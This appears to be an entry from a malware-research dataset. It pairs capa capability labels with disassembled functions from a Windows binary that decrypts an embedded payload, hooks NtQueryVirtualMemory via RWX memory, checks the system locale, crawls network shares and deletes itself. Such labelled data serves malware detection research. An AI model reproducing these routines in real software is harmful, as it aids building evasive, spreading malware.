joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40356f
Capabilities:
Create new key via cryptacquirecontext

Disassembly:
mov eax, 0x41196f
call fcn.00410b94
push ecx
push ebx
mov ebx, dword [ebp + 8]
push esi
xor eax, eax
push edi
mov dword [ebx], eax
mov dword [ebp - 4], eax
mov dword [ebx + 4], eax
mov byte [ebp - 4], 1
cmp dword [ebx], eax
jne 0x4035d2
push 0xf0000000
push 0x18
push eax
push eax
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x10]
push eax
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
test eax, eax
jne 0x4035b3
call fcn.0040674f
jmp 0x4035b6
lea eax, [ebp - 0x10]
mov edi, eax
mov esi, ebx
call fcn.00403542
cmp dword [ebp - 0x10], 0
je 0x4035d0
push 0
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
xor eax, eax
push eax
push dword [ebp + 0x10]
lea esi, [ebx + 4]
push dword [ebp + 0xc]
push ebx
call fcn.00401987
lea ecx, [ebx + 8]
mov eax, 0x30303030
mov edi, ecx
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov eax, dword [0x41ad2c]
push 0x10
pop edx
mov dword [ebp + 0x10], eax
cmp eax, edx
mov dword [ebp + 8], edx
lea eax, [ebp + 8]
ja 0x403608
lea eax, [ebp + 0x10]
cmp dword [0x41ad30], edx
mov edx, dword [0x41ad1c]
jae 0x40361b
mov edx, 0x41ad1c
push dword [eax]
push edx
push ecx
call fcn.0040ff50
mov ecx, dword [ebp - 0xc]
add esp, 0xc
pop edi
pop esi
mov eax, ebx
pop ebx
mov dword fs:[0], ecx
leave
ret 0xc

Function at 0x40371b
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x411cfe
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x60
push ebx
mov ebx, dword [ebp + 0x10]
xor eax, eax
push esi
push edi
mov dword [esp + 0x10], eax
mov dword [esp + 0x44], 0xf
mov dword [esp + 0x40], eax
mov byte [esp + 0x30], al
mov dword [esp + 0x74], eax
push ebx
lea eax, [esp + 0x50]
push eax
push dword [ebp + 8]
call fcn.0040397c
lea ecx, [esp + 0x30]
push ecx
lea ecx, [esp + 0x18]
push ecx
push dword [ebp + 8]
mov byte [esp + 0x80], 1
call fcn.004056f3
push 1
xor edi, edi
lea esi, [esp + 0x50]
call fcn.00406714
push 1
lea esi, [esp + 0x34]
mov byte [esp + 0x78], 4
call fcn.00406714
mov eax, dword [ebp + 8]
xor esi, esi
push esi
not ebx
push ebx
push dword [eax + 0xc]
push dword [eax + 8]
call fcn.0040390f
add esp, 0x10
mov ebx, eax
mov edi, edx
cmp dword [esp + 0x24], esi
jbe 0x4037fe
cmp dword [esp + 0x28], 0x10
mov ecx, dword [esp + 0x14]
mov eax, ecx
jae 0x4037d0
lea eax, [esp + 0x14]
mov al, byte [eax + esi]
add al, bl
cmp dword [esp + 0x28], 0x10
jae 0x4037e0
lea ecx, [esp + 0x14]
mov byte [ecx + esi], al
movzx eax, al
cdq
push edx
push eax
push edi
push ebx
call fcn.0040390f
add esp, 0x10
inc esi
mov ebx, eax
mov edi, edx
cmp esi, dword [esp + 0x24]
jb 0x4037bf
mov esi, dword [ebp + 0xc]
lea eax, [esp + 0x14]
push eax
call fcn.004066d9
push 1
xor edi, edi
lea esi, [esp + 0x18]
call fcn.00406714
mov ecx, dword [esp + 0x6c]
mov eax, dword [ebp + 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x40390f
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
and dword [ebp - 4], 0
push ebx
push esi
push edi
mov edx, dword [ebp + 8]
mov ebx, dword [ebp + 0xc]
mov eax, dword [ebp + 8]
mov ecx, dword [ebp + 0xc]
mov esi, dword [ebp - 4]
shrd eax, ecx, 0x19
shld ebx, edx, 7
shl edx, 7
shr ecx, 0x19
xor eax, edx
mov edx, dword [ebp + 0x14]
xor ecx, ebx
rol esi, 7
xor edi, edi
add esi, eax
mov eax, dword [ebp + 0x10]
adc edi, ecx
mov ecx, dword [ebp - 4]
call fcn.00410790
add esi, eax
adc edi, edx
add esi, 0x4e456def
adc edi, 0x58749df5
add dword [ebp + 8], esi
adc dword [ebp + 0xc], edi
inc dword [ebp - 4]
cmp dword [ebp - 4], 7
jb 0x40391a
mov eax, dword [ebp + 8]
mov edx, dword [ebp + 0xc]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40530f
Capabilities:
Encode data using xor
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov ebx, eax
mov eax, dword [ebx + 0x3c]
mov edi, dword [eax + ebx + 0x50]
add edi, ebx
lea edx, [edi - 0x18]
mov dword [ebp - 0xc], ebx
mov eax, ebx
cmp ebx, edx
jae 0x40535a
mov ecx, dword [eax]
test ecx, ecx
je 0x405355
mov esi, ecx
xor esi, 0x88bbdd8d
cmp dword [eax + 4], esi
jne 0x405355
xor ecx, 0xddbca2b2
cmp dword [eax + 8], ecx
je 0x405371
inc eax
cmp eax, edx
jb 0x405337
xor eax, eax
mov dword [0x41c038], eax
test eax, eax
jne 0x405466
push 0xfffffffffffffffe
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov edx, dword [eax]
mov esi, dword [eax + 0xc]
lea ecx, [eax + 0x14]
mov eax, dword [eax + 0x10]
xor eax, edx
xor esi, edx
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x10], edx
mov dword [ebp - 8], eax
test ecx, ecx
je 0x40535a
cmp esi, eax
ja 0x40535a
add ecx, esi
cmp ecx, edi
ja 0x40535a
mov edi, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push 4
push 0x3000
push esi
push 0
call edi
mov dword [ebp - 4], eax
test eax, eax
je 0x40535a
mov ebx, dword [ebp - 0x10]
add ebx, 0xa078c405
xor edx, edx
test esi, esi
je 0x4053f7
mov eax, dword [ebp - 0x14]
sub eax, dword [ebp - 4]
mov dword [ebp - 0x14], eax
mov cl, dl
and cl, 0x1f
mov eax, ebx
rol eax, cl
ror ebx, 3
mov ecx, edx
add ebx, eax
mov eax, dword [ebp - 4]
ror ecx, 0xb
add ecx, 0x72462828
xor ebx, ecx
mov ecx, dword [ebp - 0x14]
add eax, edx
mov cl, byte [ecx + eax]
xor cl, bl
inc edx
mov byte [eax], cl
cmp edx, esi
jb 0x4053c8
cmp esi, dword [ebp - 8]
jne 0x405407
mov eax, dword [ebp - 4]
mov ebx, dword [ebp - 0xc]
jmp 0x40535c
push 4
push 0x3000
push dword [ebp - 8]
push 0
call edi
mov esi, dword [sym.imp.KERNEL32.dll_VirtualFree]
mov ebx, eax
mov edi, 0x8000
test ebx, ebx
je 0x405442
call fcn.0040143c
mov ecx, dword [ebp - 4]
push ebx
lea eax, [ebp - 8]
call fcn.0040147f
pop ecx
test eax, eax
je 0x405452
push edi
push 0
push ebx
call esi
push edi
push 0
push dword [ebp - 4]
call esi
mov ebx, dword [ebp - 0xc]
jmp 0x40535a
push 0x8000
push 0
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, ebx
jmp 0x4053ff
push ebx
call fcn.004068b4
pop ecx
call fcn.0040bb81
push eax
jmp 0x40536b

Function at 0x4059f2
Capabilities:
Set registry value

Disassembly:
mov eax, 0x411b25
call fcn.00410b94
sub esp, 0x24
push esi
push edi
push 0x415d88
lea eax, [ebp - 0x30]
mov esi, ecx
call fcn.00403446
and dword [ebp - 4], 0
cmp dword [esi + 0x14], 8
mov eax, dword [esi + 0x10]
jb 0x405a1f
mov esi, dword [esi]
cmp dword [ebp - 0x1c], 8
mov ecx, dword [ebp - 0x30]
jae 0x405a2b
lea ecx, [ebp - 0x30]
lea eax, [eax + eax + 2]
push eax
mov eax, dword [ebp + 8]
push esi
push 1
push 0
push ecx
push dword [eax]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
je 0x405a5d
mov dword [ebp - 0x10], eax
push 0x4172e0
lea eax, [ebp - 0x14]
push eax
mov dword [ebp - 0x14], vtable.livsx.0
call fcn.0040c1f5
push 1
xor edi, edi
lea esi, [ebp - 0x30]
call fcn.00403304
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
leave
ret 4
Function at 0x405d6c
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc04
push ebx
push esi
mov esi, eax
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0xc04]
push eax
lea eax, [ebp + 0xc]
push eax
mov eax, dword [ebp + 8]
xor ebx, ebx
mov dword [ebp - 4], ebx
push ebx
push dword [ebp + 0xc]
mov dword [ebp - 4], 0xc00
push dword [eax]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
cmp eax, ebx
jne 0x405df0
cmp dword [ebp + 0xc], 1
je 0x405db9
cmp dword [ebp + 0xc], 2
je 0x405db9
cmp dword [ebp + 0xc], 7
jne 0x405dc8
mov eax, dword [ebp - 4]
cmp byte [ebp + eax - 0xc05], bl
jne 0x405dc8
dec dword [ebp - 4]
mov eax, dword [ebp - 4]
mov dword [esi + 0x14], 0xf
mov dword [esi + 0x10], ebx
mov byte [esi], bl
push dword [ebp + 0xc]
lea eax, [ebp + eax - 0xc04]
push eax
push esi
lea ecx, [ebp - 0xc04]
call fcn.00405e8b
jmp 0x405df8
push dword [ebp + 0x10]
call fcn.004063cd
mov eax, esi
pop esi
pop ebx
leave
ret 0xc

Function at 0x406773
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push str.NtQueryVirtualMemory
push str.ntdll.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ebx, eax
test ebx, ebx
jne 0x40679d
xor al, al
jmp 0x40681f
cmp byte [ebx], 0xb8
jne 0x406796
cmp byte [ebx + 3], 0
jne 0x406796
cmp byte [ebx + 4], 0
jne 0x406796
push 0x40
push 0x3000
push 0x400
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 8], eax
test eax, eax
je 0x406796
push esi
push edi
push 0x44
pop ecx
mov edi, eax
mov esi, 0x4158f0
rep movsb byte es:[edi], byte [esi]
lea edi, [eax + 0x44]
lea eax, [ebp - 4]
push eax
mov esi, ebx
mov ecx, 0x80
rep movsb byte es:[edi], byte [esi]
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
push 0x40
mov edi, 0x400
push edi
push ebx
call esi
test eax, eax
jne 0x406800
xor al, al
jmp 0x40681d
mov eax, dword [ebp - 8]
sub eax, ebx
sub eax, 6
mov dword [ebx + 2], eax
lea eax, [ebp - 4]
push eax
mov word [ebx], 0xe990
push dword [ebp - 4]
push edi
push ebx
call esi
mov al, 1
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4068b4
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
mov ebx, dword [ebp + 8]
mov eax, dword [ebx + 0x3c]
add eax, ebx
push esi
mov esi, dword [eax + 0x50]
mov dword [ebp - 8], eax
mov dword [ebp + 8], esi
call fcn.00406773
test al, al
jne 0x4068da
xor al, al
jmp 0x406944
push 0x40
push 0x3000
push esi
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
test eax, eax
je 0x4068d6
mov ecx, dword [ebp + 8]
push edi
mov edi, eax
mov esi, ebx
rep movsb byte es:[edi], byte [esi]
mov esi, eax
sub esi, ebx
push esi
mov edi, eax
call fcn.00406822
pop ecx
test al, al
je 0x406926
push ebx
mov eax, edi
call fcn.004068a7
pop ecx
lea eax, [ebp - 0xc]
push eax
push 0x40
push dword [ebp + 8]
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x40692a
xor al, al
jmp 0x406943
mov eax, dword [ebp - 8]
mov eax, dword [eax + 0x54]
mov ecx, dword [ebp + 8]
sub ecx, eax
lea edi, [eax + ebx]
xor al, al
rep stosb byte es:[edi], al
lea eax, [ebp + 4]
add dword [eax], esi
mov al, 1
pop edi
pop esi
pop ebx
leave
ret

Function at 0x406dc2
Capabilities:
Get geographical location
Identify system language via api

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push ebx
xor ebx, ebx
mov dword [ebp - 4], ebx
call dword [sym.imp.KERNEL32.dll_GetUserDefaultUILanguage]
push 0x20
lea ecx, [ebp - 0x24]
push ecx
movzx eax, ax
push 0x59
push eax
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
mov dword [esi + 0x14], 0xf
mov dword [esi + 0x10], ebx
mov byte [esi], bl
cmp eax, ebx
jg 0x406e43
push edi
mov edi, 0x415de1
push edi
mov eax, esi
call fcn.0040616a
test al, al
je 0x406e22
cmp dword [esi + 0x14], 0x10
jb 0x406e12
mov eax, dword [esi]
jmp 0x406e14
mov eax, esi
push ebx
sub edi, eax
push edi
push esi
mov eax, esi
call fcn.004065f0
jmp 0x406e40
push ebx
push ebx
mov eax, esi
call fcn.00406584
test al, al
je 0x406e40
cmp dword [esi + 0x14], 0x10
mov dword [esi + 0x10], ebx
jb 0x406e3c
mov eax, dword [esi]
jmp 0x406e3e
mov eax, esi
mov byte [eax], bl
pop edi
jmp 0x406e54
push dword [ebp - 4]
lea eax, [ebp + eax - 0x25]
push eax
push esi
lea ecx, [ebp - 0x24]
call fcn.00405e8b
mov eax, esi
pop ebx
leave
ret
Function at 0x406e59
Capabilities:
Hash data via wincrypt
Hash data with md5
Initialize hashing via wincrypt

Disassembly:
mov eax, 0x411faf
call fcn.00410b94
sub esp, 0x94
push ebx
push esi
push edi
xor ebx, ebx
lea esi, [ebp - 0x84]
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x68], ebx
call fcn.004076c5
lea ecx, [ebp - 0x64]
push ecx
mov dword [ebp - 4], ebx
call fcn.004073e5
pop ecx
push 1
xor edi, edi
call fcn.00406714
mov dword [ebp - 0x24], 0xf
mov dword [ebp - 0x28], ebx
mov byte [ebp - 0x38], bl
lea eax, [ebp - 0x64]
lea ecx, [ebp - 0x84]
mov byte [ebp - 4], 4
call fcn.004076a6
push eax
lea eax, [ebp - 0x38]
mov byte [ebp - 4], 5
call fcn.00406680
push 1
xor edi, edi
lea esi, [ebp - 0x84]
call fcn.00406714
push 1
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x38]
push eax
mov dword [ebp - 4], 3
xor eax, eax
mov byte [ebp - 0x14], 0x7b
call fcn.00407357
mov esi, eax
push 1
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x38]
push eax
xor eax, eax
mov byte [ebp - 0x14], 0x7d
call fcn.00407357
cmp esi, 0xffffffff
je 0x406f39
cmp eax, 0xffffffff
je 0x406f39
sub eax, esi
inc eax
push eax
push esi
lea eax, [ebp - 0x38]
push eax
lea esi, [ebp - 0x84]
call fcn.00407296
push eax
lea eax, [ebp - 0x38]
mov byte [ebp - 4], 7
call fcn.00406680
push 1
mov byte [ebp - 4], 3
call fcn.00406714
push 0xf0000000
push 0x18
push ebx
push ebx
lea eax, [ebp - 0x1c]
push eax
mov dword [ebp - 0x1c], ebx
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
test eax, eax
jne 0x406f5a
call fcn.0040674f
jmp 0x406f5d
lea eax, [ebp - 0x1c]
lea ecx, [ebp - 0x18]
push ecx
push ebx
mov byte [ebp - 4], 8
push ebx
mov dword [ebp - 0x18], ebx
mov eax, dword [eax]
push 0x8003
push eax
call dword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
jne 0x406f9a
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x40], vtable.xwnmqigmmwptq.0
push 0x417274
lea eax, [ebp - 0x40]
push eax
call fcn.0040c1f5
mov byte [ebp - 4], 9
cmp dword [ebp - 0x24], 0x10
mov eax, dword [ebp - 0x38]
jae 0x406faa
lea eax, [ebp - 0x38]
push ebx
push dword [ebp - 0x28]
push eax
push dword [ebp - 0x18]
call dword [sym.imp.ADVAPI32.dll_CryptHashData]
test eax, eax
jne 0x406fd6
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x48], vtable.xwnmqigmmwptq.0
push 0x417274
lea eax, [ebp - 0x48]
jmp 0x406f94
lea eax, [ebp - 0xa0]
push eax
lea eax, [ebp - 0x18]
push eax
call fcn.004075b1
cmp dword [ebp - 0x18], ebx
je 0x406ff4
push dword [ebp - 0x18]
call dword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
mov byte [ebp - 4], 0xc
cmp dword [ebp - 0x1c], ebx
je 0x407007
push ebx
push dword [ebp - 0x1c]
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov esi, dword [ebp + 8]
push 0x10
push ebx
lea eax, [ebp - 0xa0]
push eax
call fcn.00407296
push 1
xor edi, edi
lea esi, [ebp - 0xa0]
call fcn.00406714
push 1
lea esi, [ebp - 0x38]
call fcn.00406714
push 1
lea esi, [ebp - 0x64]
call fcn.00406714
mov ecx, dword [ebp - 0xc]
mov eax, dword [ebp + 8]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret
Function at 0x4070d1
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
push ebx
push esi
push edi
push 0x40
xor ebx, ebx
lea eax, [ebp - 0x50]
push ebx
push eax
mov dword [ebp - 0x54], 0x44
call fcn.0040c7e0
xor eax, eax
xor edi, edi
inc edi
add esp, 0xc
cmp dword [ebp + 0x1c], 8
mov word [ebp - 0x24], ax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x28], edi
jae 0x40710a
lea eax, [ebp + 8]
lea ecx, [ebp - 0x10]
push ecx
lea ecx, [ebp - 0x54]
push ecx
push ebx
push ebx
push 0x50
push ebx
push ebx
push ebx
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
jne 0x407137
push edi
xor edi, edi
lea esi, [ebp + 8]
call fcn.00403304
pop edi
pop esi
mov al, bl
pop ebx
leave
ret
push dword [ebp - 0x10]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0xc]
call esi
mov bl, 1
jmp 0x407125

Function at 0x40714b
Capabilities:
Delete file
Move file
Set file attributes
Terminate process

Disassembly:
mov eax, 0x411c40
call fcn.00410b94
sub esp, 0x58
push ebx
push esi
push edi
lea esi, [ebp - 0x2c]
call fcn.004062c5
and dword [ebp - 4], 0
lea esi, [ebp - 0x64]
call fcn.00405f3f
push 8
mov byte [ebp - 4], 1
mov eax, dword [ebp - 0x2c]
pop esi
cmp dword [ebp - 0x18], esi
jae 0x407181
lea eax, [ebp - 0x2c]
push 0x80
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea eax, [ebp - 0x64]
lea ecx, [ebp - 0x2c]
call fcn.00406ba7
mov ebx, dword [sym.imp.KERNEL32.dll_MoveFileExW]
test al, al
jne 0x4071f9
mov eax, dword [ebp - 0x64]
cmp dword [ebp - 0x50], esi
jae 0x4071ad
lea eax, [ebp - 0x64]
push eax
lea eax, [ebp - 0x48]
push eax
call fcn.00407469
pop ecx
pop ecx
mov byte [ebp - 4], 2
mov ecx, dword [ebp - 0x48]
cmp dword [ebp - 0x34], esi
jae 0x4071c8
lea ecx, [ebp - 0x48]
mov eax, dword [ebp - 0x2c]
cmp dword [ebp - 0x18], esi
jae 0x4071d3
lea eax, [ebp - 0x2c]
push 9
push ecx
push eax
call ebx
test eax, eax
je 0x4071e9
lea eax, [ebp - 0x48]
push eax
lea eax, [ebp - 0x2c]
call fcn.00402eb3
push 1
xor edi, edi
lea esi, [ebp - 0x48]
mov byte [ebp - 4], 1
call fcn.00403304
cmp dword [ebp - 0x18], 8
mov eax, dword [ebp - 0x2c]
jae 0x407205
lea eax, [ebp - 0x2c]
push 4
push 0
push eax
call ebx
lea eax, [ebp - 0x48]
push eax
lea edi, [ebp - 0x2c]
call fcn.00407407
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x10], esp
push 0x22
push ecx
mov byte [ebp - 4], 3
call fcn.00402942
pop ecx
pop ecx
call fcn.004070d1
add esp, 0x1c
push 1
xor edi, edi
lea esi, [ebp - 0x48]
call fcn.00403304
push edi
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x4075cb
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10c
push ebx
push edi
push 0x104
lea eax, [ebp - 0x10c]
push eax
push dword [ebp + 8]
xor ebx, ebx
mov dword [ebp - 4], ebx
call dword [sym.imp.KERNEL32.dll_GetVolumeNameForVolumeMountPointA]
test eax, eax
jne 0x407612
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 4], eax
push 0x4172e0
lea eax, [ebp - 8]
push eax
mov dword [ebp - 8], vtable.livsx.0
call fcn.0040c1f5
lea eax, [ebp - 0x10c]
mov dword [esi + 0x14], 0xf
mov dword [esi + 0x10], ebx
mov byte [esi], bl
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
cmp dl, bl
jne 0x407627
sub eax, ecx
mov edi, eax
lea eax, [ebp - 0x10c]
push eax
mov eax, esi
call fcn.0040616a
test al, al
je 0x407664
cmp dword [esi + 0x14], 0x10
jb 0x40764e
mov eax, dword [esi]
jmp 0x407650
mov eax, esi
push edi
lea ecx, [ebp - 0x10c]
sub ecx, eax
push ecx
push esi
mov eax, esi
call fcn.004065f0
jmp 0x4076a0
push ebx
push edi
mov eax, esi
call fcn.00406584
test al, al
je 0x4076a0
cmp dword [esi + 0x14], 0x10
jb 0x40767b
mov eax, dword [esi]
jmp 0x40767d
mov eax, esi
push edi
lea ecx, [ebp - 0x10c]
push ecx
push eax
call fcn.0040ff50
add esp, 0xc
cmp dword [esi + 0x14], 0x10
mov dword [esi + 0x10], edi
jb 0x40769b
mov eax, dword [esi]
jmp 0x40769d
mov eax, esi
mov byte [eax + edi], bl
pop edi
mov eax, esi
pop ebx
leave
ret
Function at 0x408cac
Capabilities:
Initialize hashing via wincrypt

Disassembly:
mov eax, 0x4119da
call fcn.00410b94
sub esp, 0x24
push ebx
push esi
mov esi, dword [ebp + 8]
xor ebx, ebx
push edi
mov dword [esi], ebx
push 0x100
push 0x10
push dword [ebp + 0xc]
mov dword [ebp - 4], ebx
push 0x6602
push 0x41c060
call fcn.004019dc
mov dword [ebp - 4], 1
lea edi, [esi + 4]
push edi
mov dword [edi], ebx
mov eax, dword [esi]
push ebx
push eax
push 0x8009
push dword [0x41c060]
call dword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
jne 0x408d23
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], vtable.xwnmqigmmwptq.0
push 0x417274
lea eax, [ebp - 0x14]
push eax
call fcn.0040c1f5
push ebx
mov byte [ebp - 4], 2
lea eax, [ebp - 0x30]
push eax
push 5
push dword [edi]
mov dword [ebp - 0x30], 0x8004
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x20], ebx
call dword [sym.imp.ADVAPI32.dll_CryptSetHashParam]
test eax, eax
jne 0x408d67
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x1c], vtable.xwnmqigmmwptq.0
push 0x417274
lea eax, [ebp - 0x1c]
jmp 0x408d1d
mov ecx, dword [ebp - 0xc]
pop edi
mov eax, esi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret 8

Function at 0x408efd
Capabilities:
Parse url

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
or dword [esi + 0xc], 0xffffffff
lea eax, [esi + 0x3c]
mov dword [esi + 4], eax
lea eax, [esi + 0x5c]
mov dword [esi + 0x10], eax
xor eax, eax
mov word [esi + 0x18], ax
lea eax, [esi + 0x15c]
mov dword [esi + 0x1c], eax
mov eax, 0x80
mov dword [esi + 0x20], eax
mov dword [esi + 0x28], eax
lea eax, [esi + 0x25c]
push esi
mov dword [esi + 0x2c], eax
xor eax, eax
push eax
push eax
push dword [ebp + 8]
lea ecx, [esi + 0x1dc]
mov dword [esi], 0x3c
mov dword [esi + 8], 0x20
mov dword [esi + 0x14], 0x100
mov dword [esi + 0x24], ecx
mov dword [esi + 0x30], 0x800
mov dword [esi + 0x34], eax
mov dword [esi + 0x38], eax
call dword [sym.imp.WININET.dll_InternetCrackUrlA]
test eax, eax
jne 0x408f8f
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 4], eax
push 0x417318
lea eax, [ebp - 8]
push eax
mov dword [ebp - 8], vtable.cuovxnupr.0
call fcn.0040c1f5
mov eax, esi
leave
ret 4
Function at 0x409454
Capabilities:
Connect network resource
Enumerate network shares

Disassembly:
mov eax, 0x411b13
call fcn.00410b94
sub esp, 0x844
push ebx
push esi
push edi
lea eax, [ebp - 0x10]
push eax
push dword [ebp + 0x10]
xor edi, edi
push edi
xor esi, esi
inc esi
push esi
push dword [ebp + 0xc]
call dword [sym.imp.MPR.dll_WNetOpenEnumW]
test eax, eax
jne 0x4095d3
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x850]
push eax
lea eax, [ebp - 0x18]
push eax
push dword [ebp - 0x10]
mov dword [ebp - 0x18], esi
mov dword [ebp - 0x14], 0x800
call dword [sym.imp.MPR.dll_WNetEnumResourceW]
test eax, eax
jne 0x4095ca
mov ebx, dword [ebp + 8]
test byte [ebp - 0x844], 1
je 0x4094d4
push edi
push edi
push edi
lea eax, [ebp - 0x850]
push eax
call dword [sym.imp.MPR.dll_WNetAddConnection2W]
test eax, eax
jne 0x4095a0
test byte [ebp - 0x844], 2
je 0x4094f5
lea eax, [ebp - 0x850]
push eax
push dword [ebp + 0xc]
push ebx
call fcn.00409454
add esp, 0xc
jmp 0x4095a0
cmp dword [ebp - 0x84c], esi
jne 0x4095a0
cmp dword [ebp - 0x83c], edi
je 0x4095a0
mov edi, dword [ebp - 0x840]
test edi, edi
jne 0x40951c
mov edi, 0x416ad0
push dword [ebp - 0x83c]
lea eax, [ebp - 0x50]
call fcn.00403446
and dword [ebp - 4], 0
push edi
lea eax, [ebp - 0x34]
call fcn.00403446
mov dword [ebp - 4], esi
mov ecx, dword [ebx + 4]
lea eax, [ebp - 0x50]
cmp eax, ecx
jae 0x409569
mov edx, dword [ebx]
cmp edx, eax
ja 0x409569
sub eax, edx
push 0x38
cdq
pop edi
idiv edi
mov edi, eax
cmp ecx, dword [ebx + 8]
jne 0x409560
mov ecx, ebx
call fcn.00409c35
mov ecx, edi
imul ecx, ecx, 0x38
add ecx, dword [ebx]
jmp 0x409578
cmp ecx, dword [ebx + 8]
jne 0x409575
mov ecx, ebx
call fcn.00409c35
lea ecx, [ebp - 0x50]
mov edx, dword [ebx + 4]
call fcn.0040a06b
add dword [ebx + 4], 0x38
or dword [ebp - 4], 0xffffffff
push esi
xor edi, edi
lea esi, [ebp - 0x34]
call fcn.00403304
push 1
lea esi, [ebp - 0x50]
call fcn.00403304
xor esi, esi
inc esi
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x850]
push eax
lea eax, [ebp - 0x18]
push eax
push dword [ebp - 0x10]
mov dword [ebp - 0x18], esi
mov dword [ebp - 0x14], 0x800
call dword [sym.imp.MPR.dll_WNetEnumResourceW]
test eax, eax
je 0x4094b3
push dword [ebp - 0x10]
call dword [sym.imp.MPR.dll_WNetCloseEnum]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret